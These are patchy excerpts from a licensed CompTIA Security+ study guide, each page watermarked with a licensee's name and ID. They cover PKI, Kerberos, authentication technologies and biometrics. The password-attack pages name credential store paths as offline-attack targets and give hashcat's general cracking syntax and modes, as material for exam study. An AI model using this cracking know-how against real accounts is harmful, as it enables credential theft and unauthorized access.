To configure a root CA in OpenSSL, set up a directory structure and adapt an OpenSSL
configuration file (openssl.cnf) for any site-local settings. You then need to create an
RSA key pair:
openssl genrsa -aes256 -out cakey.pem 4096
The -aes256 argument encrypts the key and requires a password to make use of it.
The 4096 argument sets the key length. The output file data is in PEM ASCII format by
default. Some sites prefer a naming convention, such as ca.key.
The next step is to use this RSA key pair to generate a self-signed root X.509 digital
certificate:
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
142 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
This example is simplified. Using a root CA to issue leaf certificates directly is not robust. It is
better to create one or more intermediate CAs.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 143
Certificate Issues
The most common problem when dealing with certificate issues is that of a client
rejecting a server certificate (or slightly less commonly, an authentication server
rejecting a client's certificate).
• If the problem is with an existing certificate that has been working previously, check
that the certificate has not expired or been revoked or suspended.
• If the problem is with a new certificate, check that the key usage settings are
appropriate for the application. Some clients, such as VPN and email clients, have
very specific requirements for key usage configuration. Also, check that the subject
name is correctly configured and that the client is using the correct address. For
example, if a client tries to connect to a server by IP address instead of FQDN, a
certificate configured with an FQDN will be rejected.
• In either case, verify that the time and date settings on the server and client
are synchronized. Incorrect date/time settings are a common cause of
certificate problems.
From a security point of view, you must also audit certificate infrastructure to
ensure that only valid certificates are being issued and trusted. Review logs of issued
certificates periodically. Validate the permissions of users assigned to manage
certificate services. Check clients to ensure that only valid root CA certificates are
trusted. Make sure clients are checking for revoked or suspended certificates.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
144 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Review Activity:
PKI Management
Answer the following questions:
2. You are advising a customer about encryption for data backup security and
the key escrow services that you offer. How should you explain the risks of
key escrow and potential mitigations?
5. What type of certificate format can be used if you want to transfer your
private key and certificate from one Windows host computer to another?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 145
Lesson 6
Summary
You should be familiar with the tools and procedures used to issue different types of
certificate and manage PKI operations.
• Determine certificate policies and templates that meet the needs of users and
business workflows, such as machine, email/user, and code signing certificate
types. Ensure that the common name attribute is correctly configured when
issuing certificates.
• Create policies and procedures for users and servers to request certificates, plus the
identification, authentication, and authorization processes to ensure certificates are
only issued to valid subjects.
• Set up procedures for managing keys and certificates, including revocation and
backup/escrow of keys.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Lesson 7
Implementing Authentication Controls
LESSON INTRODUCTION
Each network user and host device must be identified with an account so that you
can control their access to your organization's applications, data, and services.
The processes that support this requirement are referred to as identity and access
management (IAM). Within IAM, authentication technologies ensure that only valid
subjects (users or devices) can operate an account. Authentication requires the account
holder to submit credentials that should only be known or held by them in order to
access the account. There are many authentication technologies and it is imperative
that you be able to compare and contrast and to implement these security controls.
Lesson Objectives
In this lesson, you will:
• Summarize authentication design concepts.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
148 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 7A
Summarize Authentication
Design Concepts
Strong authentication is the first line of defense in the battle to secure network
resources. But authentication is not a single process; there are many different methods
and mechanisms, some of which can be combined to form more effective products.
As a network security professional, familiarizing yourself with identification and
authentication technologies can help you select, implement, and support the ones that
are appropriate for your environment.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 149
IAM enables you to define the attributes that make up an entity's identity, such as its
purpose, function, security clearance, and more. These attributes subsequently enable
access management systems to make informed decisions about whether to grant
or deny an entity access, and if granted, decide what the entity has authorization to
do. For example, an individual employee may have his or her own identity in the IAM
system. The employee's role in the company factors into his or her identity, such as
what department the employee is in and whether the employee is a manager. For
example, if you are setting up an e-commerce site and want to enroll users, you need
to select the appropriate controls to perform each function:
• Identification—ensure that customers are legitimate. For example, you might need
to ensure that billing and delivery addresses match and that they are not trying to
use fraudulent payment methods.
• Authentication—ensure that customers have unique accounts and that only they
can manage their orders and billing information.
• Accounting—the system must record the actions a customer takes (to ensure that
they cannot deny placing an order, for instance).
The servers and protocols that implement these functions are referred to as
authentication, authorization, and accounting (AAA). The use of IAM to describe
enterprise processes and workflows is becoming more prevalent as the importance of
the identification phase is better acknowledged.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
150 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Authentication Factors
Assuming that an account has been created securely (the identity of the account holder
has been verified), authentication verifies that only the account holder is able to use
the account, and that the system may only be used by account holders. Authentication
is performed when the account holder supplies the appropriate credentials (or
authenticators) to the system. These are compared to the credentials stored on the
system. If they match, the account is authenticated.
There are many different technologies for defining credentials and can be categorized
as factors.
A knowledge factor is also used for account reset mechanisms. For example, to reset
the password on an account, the user might have to respond to a challenge question,
such as, "What is your favorite movie?"
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 151
certificate or account number. Alternatively, they might have a USB fob that generates
a unique code. These ownership factors can be described as hard tokens.
A device such as a smartphone can also be used to receive a uniquely generated
access code as a soft token. Unlike a password, these tokens are valid for only one use,
typically within a brief time window.
Authentication Design
Authentication design refers to selecting a technology that meets requirements for
confidentiality, integrity, and availability:
• Confidentiality, in terms of authentication, is critical, because if account credentials
are leaked, threat actors can impersonate the account holder and act on the system
with whatever rights they have.
• Integrity means that the authentication mechanism is reliable and not easy for
threat actors to bypass or trick with counterfeit credentials.
• Availability means that the time taken to authenticate does not impede workflows
and is easy enough for users to operate.
Authentication is used in different contexts and factors are not always well-suited
to a context. For example, you might authenticate to a PC by inputting a password
to get access to the device. This might also authenticate you to a network. But
authentication is also used for physical security. If you consider numerous employees
arriving for work, asking them to type a password to gain access to the building
would take too long and cause huge disruption (lack of availability). It is also highly
likely that passwords would be observed (lack of confidentiality). Finally, it is likely
that users would simply start holding the door open for each other (lack of integrity).
Authentication design tries to anticipate these issues and implements a technology that
fits the use case.
Multifactor Authentication
An authentication technology is considered strong if it combines the use of more than
one type of knowledge, ownership, and biometric factor, and is called multifactor
authentication (MFA). Single-factor authentication can quite easily be compromised: a
password could be written down or shared, a smart card could be lost or stolen, and a
biometric system could be subject to high error rates or spoofing.
Two-Factor Authentication (2FA) combines either an ownership-based smart card or
biometric identifier with something you know, such as a password or PIN. Three-factor
authentication combines all three technologies, or incorporates an additional attribute,
such as location; for example, a smart card with integrated fingerprint reader. This
means that to authenticate, the user must possess the card, the user's fingerprint must
match the template stored on the card, and the user must input a PIN or password.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
152 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Authentication Attributes
Compared to the three main authentication factors, an authentication attribute is
either a non-unique property or a factor that cannot be used independently.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 153
Review Activity:
Authentication Design Concepts
Answer the following questions:
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
154 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 7B
Implement Knowledge-Based
Authentication
Windows Authentication
Windows authentication involves a complex architecture of components (docs.
microsoft.com/en-us/windows-server/security/windows-authentication/credentials-
processes-in-windows-authentication), but the following three scenarios are typical:
• Windows local sign-in—the Local Security Authority (LSA) compares the submitted
credential to a hash stored in the Security Accounts Manager (SAM) database, which
is part of the registry. This is also referred to as interactive logon.
• Windows network sign-in—the LSA can pass the credentials for authentication to
a network service. The preferred system for network authentication is based on
Kerberos, but legacy network applications might use NT LAN Manager (NTLM)
authentication.
• Remote sign-in—if the user's device is not connected to the local network,
authentication can take place over some type of virtual private network (VPN) or
web portal.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 155
Linux Authentication
In Linux, local user account names are stored in /etc/passwd. When a user logs
in to a local interactive shell, the password is checked against a hash stored in /etc/
shadow. Interactive login over a network is typically accomplished using Secure Shell
(SSH). With SSH, the user can be authenticated using cryptographic keys instead of a
password.
A pluggable authentication module (PAM) is a package for enabling different
authentication providers, such as smart-card login (tecmint.com/configure-pam-
in-centos-ubuntu-linux). The PAM framework can also be used to implement
authentication to network servers.
Kerberos Authentication
Kerberos is a single sign-on network authentication and authorization protocol used
on many networks, notably as implemented by Microsoft's Active Directory (AD)
service. Kerberos was named after the three-headed guard dog of Hades (Cerberus)
because it consists of three parts. Clients request services from application servers,
which both rely on an intermediary—a Key Distribution Center (KDC)—to vouch for
their identity. There are two services that make up a KDC: the Authentication Service
and the Ticket Granting Service. The KDC runs on port 88 using TCP or UDP.
The Authentication Service is responsible for authenticating user logon requests. More
generally, users and services can be authenticated; these are collectively referred to
as principals. For example, when you sit at a Windows domain workstation and log
on to a realm (or domain), the first step of logon is to authenticate with a KDC server,
implemented as a domain controller.
1. The client sends the authentication service (AS) a request for a Ticket Granting
Ticket (TGT). This is composed by encrypting the date and time on the local
computer with the user's password hash as the key.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
156 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
The password hash itself is not transmitted over the network. Also, although we refer
to passwords for simplicity, the system can use other authentication providers, such as
smart-card logon.
The Ticket Granting Ticket (TGT; or user ticket) is time-stamped (under Windows, they have
a default maximum age of 10 hours). This means that workstations and servers on the
network must be synchronized (to within five minutes) or a ticket will be rejected. This helps
prevent replay attacks.
2. The AS checks that the user account is present, that it can decode the request by
matching the user's password hash with the one in the Active Directory database,
and that the request has not expired. If the request is valid, the AS responds with
the following data:
• Ticket Granting Ticket (TGT)—this contains information about the client (name
and IP address) plus a timestamp and validity period. This is encrypted using
the KDC's secret key.
• TGS session key for use in communications between the client and the Ticket
Granting Service (TGS). This is encrypted using a hash of the user's password.
The TGT is an example of a logical token. All the TGT does is identify who you are and
confirm that you have been authenticated—it does not provide you with access to any
domain resources.
Kerberos Authorization
Presuming the user entered the correct password, the client can decrypt the Ticket
Granting Service (TGS) session key but not the TGT. This establishes that the client and
KDC know the same shared secret and that the client cannot interfere with the TGT.
1. To access resources within the domain, the client requests a Service Ticket (a
token that grants access to a target application server). This process of granting
service tickets is handled by the TGS.
2. The client sends the TGS a copy of its TGT and the name of the application server
it wishes to access plus an authenticator, consisting of a time-stamped client ID
encrypted using the TGS session key.
The TGS should be able to decrypt both messages using the KDC's secret key for
the first and the TGS session key for the second. This confirms that the request
is genuine. It also checks that the ticket has not expired and has not been used
before (replay attack).
• Service session key—for use between the client and the application server.
This is encrypted with the TGS session key.
4. The client forwards the service ticket, which it cannot decrypt, to the application
server and adds another time-stamped authenticator, which is encrypted using
the service session key.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 157
5. The application server decrypts the service ticket to obtain the service session
key using its secret key, confirming that the client has sent it an untampered
message. It then decrypts the authenticator using the service session key.
6. Optionally, the application server responds to the client with the timestamp used
in the authenticator, which is encrypted by using the service session key. The
client decrypts the timestamp and verifies that it matches the value already sent,
and concludes that the application server is trustworthy.
This means that the server is authenticated to the client (referred to as mutual
authentication). This prevents a man-in-the-middle attack, where a malicious user
could intercept communications between the client and server.
7. The server now responds to client requests (assuming they conform to the
server's access control list).
The data transfer itself is not encrypted (at least as part of Kerberos; some sort of transport
encryption can be deployed).
One of the noted drawbacks of Kerberos is that the KDC represents a single point-
of-failure for the network. In practice, backup KDC servers can be implemented (for
example, Active Directory supports multiple domain controllers, each of which are
running the KDC service).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
158 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
IP data over serial or dial-up connections. It is also used as the basic authentication
mechanism in HTTP. It relies on clear text password exchange and is therefore obsolete
for most purposes, except through an encrypted tunnel.
2. Response—the client responds with a hash calculated from the server challenge
message and client password (or other shared secret).
3. Verification—the server performs its own hash using the password hash stored
for the client. If it matches the response, then access is granted; otherwise, the
connection is dropped.
The handshake is repeated with a different challenge message periodically during the
connection (although transparent to the user). This guards against replay attacks, in
which a previous session could be captured and reused to gain access.
MS-CHAPv2 is Microsoft's implementation of CHAP. Because of the way it uses
vulnerable NTLM hashes, MS-CHAP should not be deployed without the protection of a
secure connection tunnel so that the credentials being passed are encrypted.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 159
Password Attacks
When a user chooses a password, the password is converted to a hash using a
cryptographic function, such as MD5 or SHA. This means that, in theory, no one
except the user (not even the system administrator) knows the password, because the
plaintext should not be recoverable from the hash.
Plaintext/Unencrypted Attacks
A plaintext/unencrypted attack exploits password storage or a network authentication
protocol that does not use encryption. Examples include PAP, basic HTTP/FTP
authentication, and Telnet. These protocols must not be used. Passwords must
never be saved to an unmanaged file. One common source of credential breaches is
passwords embedded in application code that has subsequently been uploaded to a
public repository.
Online Attacks
An online password attack is where the threat actor interacts with the authentication
service directly—a web login form or VPN gateway, for instance. The attacker submits
passwords using either a database of known passwords (and variations) or a list of
passwords that have been cracked offline.
Also, be aware that there are databases of username and password/password hash
combinations for multiple accounts stored across the Internet. These details derive from
successful hacks of various companies' systems. These databases can be searched using a
site such as haveibeenpwned.com.
An online password attack can show up in audit logs as repeatedly failed logons and
then a successful logon, or as successful logon attempts at unusual times or locations.
Apart from ensuring the use of strong passwords by users, online password attacks
can be mitigated by restricting the number or rate of logon attempts, and by shunning
logon attempts from known bad IP addresses.
Note that restricting logons can be turned into a vulnerability as it exposes the account to
denial of service attacks. The attacker keeps trying to authenticate, locking out valid users.
Password Spraying
Password spraying is a horizontal brute-force online attack. This means that the
attacker chooses one or more common passwords (for example, password or
123456) and tries them in conjunction with multiple usernames.
Offline Attacks
An offline attack means that the attacker has managed to obtain a database of
password hashes, such as %SystemRoot%\System32\config\SAM,
%SystemRoot%\NTDS\NTDS.DIT (the Active Directory credential store), or /
etc/shadow. Once the password database has been obtained, the cracker does not
interact with the authentication system. The only indicator of this type of attack (other
than misuse of the account in the event of a successful attack) is a file system audit log
that records the malicious account accessing one of these files. Threat actors can also
read credentials from host memory, in which case the only reliable indicator might be
the presence of attack tools on a host.
If the attacker cannot obtain a database of passwords, a packet sniffer might be used
to obtain the client response to a server challenge in a protocol such as NTLM or
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
160 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
CHAP/MS-CHAP. Although these protocols avoid sending the hash of the password
directly, the response is derived from it in some way. Password crackers can exploit
weaknesses in a protocol to calculate the hash and match it to a dictionary word or
brute force it.
Brute-Force Attack
A brute-force attack attempts every possible combination in the output space in
order to match a captured hash and guess at the plaintext that generated it. The
output space is determined by the number of bits used by the algorithm (128-bit MD5
or 256-bit SHA256, for instance). The larger the output space and the more characters
that were used in the plaintext password, the more difficult it is to compute and test
each possible hash to find a match. Brute-force attacks are heavily constrained by
time and computing resources, and are therefore most effective at cracking short
passwords. However, brute-force attacks distributed across multiple hardware
components, like a cluster of high-end graphics cards, can be successful at cracking
longer passwords.
Hybrid Attack
A hybrid password attack uses a combination of dictionary and brute-force attacks.
It is principally targeted against naïve passwords with inadequate complexity, such
as james1. The password cracking algorithm tests dictionary words and names in
combination with a mask that limits the number of variations to test for, such as adding
numeric prefixes and/or suffixes. Other types of algorithms can be applied, based on
what hackers know about how users behave when forced to select complex passwords
that they don't really want to make hard to remember. Other examples might include
substituting "s" with "5" or "o" with "0."
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 161
Password Crackers
Although there are some Windows tools, including the infamous Cain and L0phtcrack
(l0phtcrack.com) tools, most password crackers run primarily on Linux. For example, a
tool such as Hashcat (hashcat.net/hashcat) is run using the following general syntax:
hashcat -m HashType -a AttackMode -o OutputFile
InputHashFile
The input file should contain hashes of the same type, using the specified format
(hashcat.net/wiki/doku.php?id=example_hashes). Hashcat can be used with a single
word list (dictionary mode -a 0) or multiple word lists (combinator mode -a 1).
Mode -a 3 performs a brute-force attack, but this can be combined with a mask for
each character position. This reduces the key space that must be searched and speeds
up the attack. For example, you might learn or intuit that a company uses only letter
characters in passwords. By omitting numeric and symbol characters, you can speed
up the attack on each hash.
Running a masked brute-force attack—this example is running on a VM, so the recovery rate is very low.
(Screenshot hashcat hashcat.net/hashcat.)
Authentication Management
Users often adopt poor credential management practices that are very hard to control,
such as using the same password for corporate networks and consumer websites. This
makes enterprise network security vulnerable to data breaches from these websites.
An authentication management solution for passwords mitigates this risk by using a
device or service as a proxy for credential storage. The manager generates a unique,
strong password for each web-based account. The user authorizes the manger to
authenticate with each site using a master password.
Password managers can be implemented with a hardware token or as a software app:
• Password key—USB tokens for connecting to PCs and smartphones. Some can
use nearfield communications (NFC) or Bluetooth as well as physical connectivity
(theverge.com/2019/2/22/18235173/the-best-hardware-security-keys-yubico-titan-
key-u2f).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
162 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 163
Review Activity:
Knowledge-Based Authentication
Answer the following questions:
3. True or false? In order to create a service ticket, Kerberos passes the user's
password to the target application server for authentication.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
164 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 7C
Implement Authentication Technologies
Smart-Card Authentication
Smart-card authentication means programming cryptographic information onto
a card equipped with a secure processing chip. The chip stores the user's digital
certificate, the private key associated with the certificate, and a personal identification
number (PIN) used to activate the card.
For Kerberos authentication, smart-card logon works as follows:
1. The user presents the smart card to a reader and is prompted to enter a PIN.
2. Inputting the correct PIN authorizes the smart card's cryptoprocessor to use its
private key to create a Ticket Granting Ticket (TGT) request, which is transmitted
to the authentication server (AS).
3. The AS is able to decrypt the request because it has a matching public key and
trusts the user's certificate, either because it was issued by a local certification
authority or by a third-party CA that is a trusted root CA.
4. The AS responds with the TGT and Ticket Granting Service (TGS) session key.
"Smart card" can refer to a wide range of different technologies. Secure Kerberos-based
authentication requires a card with a cryptoprocessor (smartcardbasics.com/smart-card-
types.html).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 165
the CPU. Modification of TPM data is only permitted by highly trusted processes. A
TPM can be used to present a virtual smart card (docs.microsoft.com/en-us/windows/
security/identity-protection/virtual-smart-cards/virtual-smart-card-overview).
Smart cards, USB keys, and virtual smart cards are provisioned as individual devices.
Often keys need to be provisioned to non-user devices too, such as servers and
network appliances. A hardware security module (HSM) is a network appliance
designed to perform centralized PKI management for a network of devices. This means
that it can act as an archive or escrow for keys in case of loss or damage. Compared
to using a general-purpose server for certificate services, HSMs are optimized for
the role and so have a smaller attack surface. HSMs are designed to be tamper-
evident to mitigate risk of insider threat, and can also provide enterprise-strength
cryptographically secure pseudorandom number generators (CSPRNGs). HSMs can be
implemented in several form factors, including rack-mounted appliances, plug-in PCIe
adapter cards, and USB-connected external peripherals.
The FIPS 140-2 scheme provides accreditation for cryptographically strong products.
(ncipher.com/faq/key-secrets-management/what-fips-140-2.)
Smart card, smart card reader, and hardware security module (Images © 123RF.com.)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
166 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Where EAP provides the authentication mechanisms, the IEEE 802.1X Port-based
Network Access Control (NAC) protocol provides the means of using an EAP method
when a device connects to an Ethernet switch port, wireless access point (with
enterprise authentication configured), or VPN gateway. 802.1X uses authentication,
authorization, and accounting (AAA) architecture:
• Supplicant—the device requesting access, such as a user's PC or laptop.
With AAA, the NAS devices do not have to store any authentication credentials. They
forward this data between the AAA server and the supplicant. There are two main
types of AAA server: RADIUS and TACACS+.
2. The NAS prompts the user for their authentication credentials. RADIUS supports
PAP, CHAP, and EAP. Most implementations now use EAP, as PAP and CHAP
are not secure. If EAP credentials are required, the NAS enables the supplicant
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 167
to transmit EAP over LAN (EAPoL) data, but does not allow any other type of
network traffic.
3. The supplicant submits the credentials as EAPoL data. The RADIUS client uses
this information to create an Access-Request RADIUS packet, encrypted using the
shared secret. It sends the Access-Request to the AAA server using UDP on port
1812 (by default).
4. The AAA server decrypts the Access-Request using the shared secret. If the
Access-Request cannot be decrypted (because the shared secret is not correctly
configured, for instance), the server does not respond.
6. At the end of this exchange, if the supplicant is authenticated, the AAA server
responds with an Access-Accept packet; otherwise, an Access-Reject packet
is returned.
Optionally, the NAS can use RADIUS for accounting (logging). Accounting uses port
1813. The accounting server can be different from the authentication server.
• All the data in TACACS+ packets is encrypted (except for the header identifying the
packet as TACACS+ data), rather than just the authentication data. This ensures
confidentiality and integrity when transferring critical network infrastructure data.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
168 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
The SecurID token from RSA represents one popular implementation of an OTP token
key. The device generates a passcode based on the current time and a secret key
coded into the device. The code is entered along with a PIN or password known only
to the user. Network access devices must be configured with an agent to intercept the
credentials and direct them to an Authentication Manager server for validation. This
server can integrate with directory products, such as AD.
There are also simpler token keys and smart cards that simply transmit a static token
programmed into the device. For example, many building entry systems work on the
basis of static codes. These mechanisms are highly vulnerable to cloning and replay
attacks.
There are many other ways of implementing hardware token keys. For example, a
Fast Identity Online (FIDO) Universal Second Factor (U2F) USB token registers a public
key with the authentication service. The authentication mechanism then requires the
private key locked to the token, which is authorized using PIN or fingerprint activation
(fidoalliance.org/showcase/fido-u2f-security-key). This can also be used with the
Windows Hello authentication provider (microsoft.com/security/blog/2019/06/10/
advancing-windows-10-passwordless-platform).
Open Authentication
The Initiative for Open Authentication (OATH) is an industry body established
with the aim of developing an open, strong authentication framework. Open means
a system that any enterprise can link into to perform authentication of users and
devices across different networks. Strong means that the system is based not just on
passwords, but also on 2- or 3-factor authentication or on 2-step verification. OATH has
developed two algorithms for implementing one time passwords (OTPs).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 169
authenticate. The device and server both compute the hash and derive an HOTP value
that is 6-8 digits long. This is the value that the user must enter to authenticate with the
server. The counter is incremented by one.
The server is configured with a counter window to cope with the circumstance that the
device and server counters move out of sync. This could happen if the user generates an
OTP but does not use it, for instance.
Two-step verification mechanism protecting web application access. The site sends a Time-based One
Time Password with a duration of five minutes to the registered cell phone by SMS.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
170 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
2-Step Verification
2-step verification or out-of-band mechanisms generate a software token on a server and
send it to a resource assumed to be safely controlled by the user. The token can be
transmitted to the device in a number of ways:
• Short Message Service (SMS)—the code is sent as a text to the registered phone
number.
• Phone call—the code is delivered as an automated voice call to the registered phone
number.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 171
Review Activity:
Authentication Technologies
Answer the following questions:
1. True or false? When implementing smart card logon, the user's private key
is stored on the smart card.
5. What is EAPoL?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
172 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 7D
Summarize Biometrics
Authentication Concepts
Biometric Authentication
The first step in setting up biometric authentication is enrollment. The chosen
biometric information is scanned by a biometric reader and converted to binary
information. There are generally two steps in the scanning process:
1. A sensor module acquires the biometric sample from the target.
2. A feature extraction module records the features in the sample that uniquely
identify the target.
The biometric template is kept in the authentication server's database. When the user
wants to access a resource, he or she is re-scanned, and the scan is compared to the
template. If they match to within a defined degree of tolerance, access is granted.
Several pattern types can be used to identify people biometrically. These can be
categorized as physical (fingerprint, eye, and facial recognition) or behavioral (voice,
signature, and typing pattern matching). Key metrics and considerations used to
evaluate the efficacy rate of biometric pattern acquisition and matching and suitability
as an authentication mechanism include the following:
• False Rejection Rate (FRR)—where a legitimate user is not recognized. This is also
referred to as a Type I error or false non-match rate (FNMR). FRR is measured as a
percentage.
False rejection cause inconvenience to users, but false acceptance can lead to
security breaches, and so is usually considered the most important metric.
• Crossover Error Rate (CER)—the point at which FRR and FAR meet. The lower the
CER, the more efficient and reliable the technology.
Errors are reduced over time by tuning the system. This is typically accomplished by
adjusting the sensitivity of the system until CER is reached.
• Throughput (speed)—the time required to create a template for each user and the
time required to authenticate. This is a major consideration for high traffic access
points, such as airports or railway stations.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 173
Fingerprint Recognition
Physiologic biometric features represent a something you are factor. They include
fingerprint patterns, iris or retina recognition, or facial recognition.
Fingerprint recognition is the most widely implemented biometric authentication
method. The technology required for scanning and recording fingerprints is relatively
inexpensive and the process quite straightforward. A fingerprint sensor is usually
implemented as a small capacitive cell that can detect the unique pattern of ridges
making up the pattern. The technology is also non-intrusive and relatively simple to
use, although moisture or dirt can prevent readings.
The main problem with fingerprint scanners is that it is possible to obtain a copy of
a user's fingerprint and create a mold of it that will fool the scanner (tomsguide.com/
us/iphone-touch-id-hack,news-20066.html). These concerns are addressed by vein
matching scanners, or vascular biometrics. This requires a more complex scanner—an
infrared light source and camera—to create a template from the unique pattern of
blood vessels in a person's finger or palm.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
174 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Facial Recognition
Facial recognition records multiple indicators about the size and shape of the face, like
the distance between each eye, or the width and length of the nose. The initial pattern
must be recorded under optimum lighting conditions; depending on the technology,
this can be a lengthy process. Again, this technology is very much associated with
law enforcement, and is the most likely to make users uncomfortable about the
personal privacy issues. Facial recognition suffers from relatively high false acceptance
and rejection rates and can be vulnerable to spoofing. Much of the technology
development is in surveillance, rather than for authentication, although it is becoming
a popular method for use with smartphones.
The limitations of facial recognition can be overcome by scanning more detailed
features of the eye:
• Retinal scan—an infrared light is shone into the eye to identify the pattern of blood
vessels. The arrangement of these blood vessels is highly complex and typically
does not change from birth to death, except in the event of certain diseases or
injuries. Retinal scanning is therefore one of the most accurate forms of biometrics.
Retinal patterns are very secure, but the equipment required is expensive and the
process is relatively intrusive and complex. False negatives can be produced by
disease, such as cataracts.
A retinal scan uses an infrared light to identify the pattern of blood vessels in the eye.
(Photo by Ghost Presenter on Unsplash.)
• Iris scan—matches patterns on the surface of the eye using near-infrared imaging
and so is less intrusive than retinal scanning (the subject can continue to wear
glasses, for instance) and a lot quicker. Iris scanners offer a similar level of accuracy
as retinal scanners but are much less likely to be affected by diseases. Iris scanning
is the technology most likely to be rolled out for high-volume applications, such as
airport security. There is a chance that an iris scanner could be fooled by a high-
resolution photo of someone's eye.
Behavioral Technologies
Something you do refers to behavioral biometric pattern recognition. Rather than
scan some attribute of your body, a template is created by analyzing a behavior, such
as typing, writing a signature, or walking/moving. The variations in motion, pressure,
or gait are supposed to uniquely verify each individual. In practice, however, these
methods are subject to higher error rates, and are much more troublesome for a
subject to perform.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 175
• Voice recognition—relatively cheap, as the hardware and software required are built
into many standard PCs and mobiles. However, obtaining an accurate template can
be difficult and time-consuming. Background noise and other environmental factors
can also interfere with logon. Voice is also subject to impersonation.
Some biometric and behavioral technologies might be used for purposes other than
logon authentication:
• Biometric identification refers to matching people to a database, as opposed to
authenticating them per se. For example, if an individual crossing the floor of the data
center does not produce a match for gait analysis, the system may raise a security
alert (g4s.com/en-us/media/news/2017/12/06/keeping-data-centers-secure).
• Continuous authentication verifies that the user who logged on is still operating the
device. For example, if a user successfully authenticates to a smartphone using a
fingerprint, the device continues to monitor key motion and pressure statistics as
the device is held and manipulated. If this deviates from the baseline, detection
system would lock the phone. This sort of technology is not available on the market
(at the time of writing), but it is the subject of numerous research projects.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
176 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Review Activity:
Biometrics Authentication Concepts
Answer the following questions:
1. Apart from cost, what would you consider to be the major considerations
for evaluating a biometric recognition technology?
4. What two ways can biometric technologies be used other than for logon
authentication?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 177
Lesson 7
Summary
You should be able to assess the design and use of authentication products for
on-premises networks, web/cloud apps, and physical security in terms of meeting
confidentiality, integrity, and availability requirements. Given a product-specific setup
guide, you should be able to implement protocols and technologies such as Kerberos,
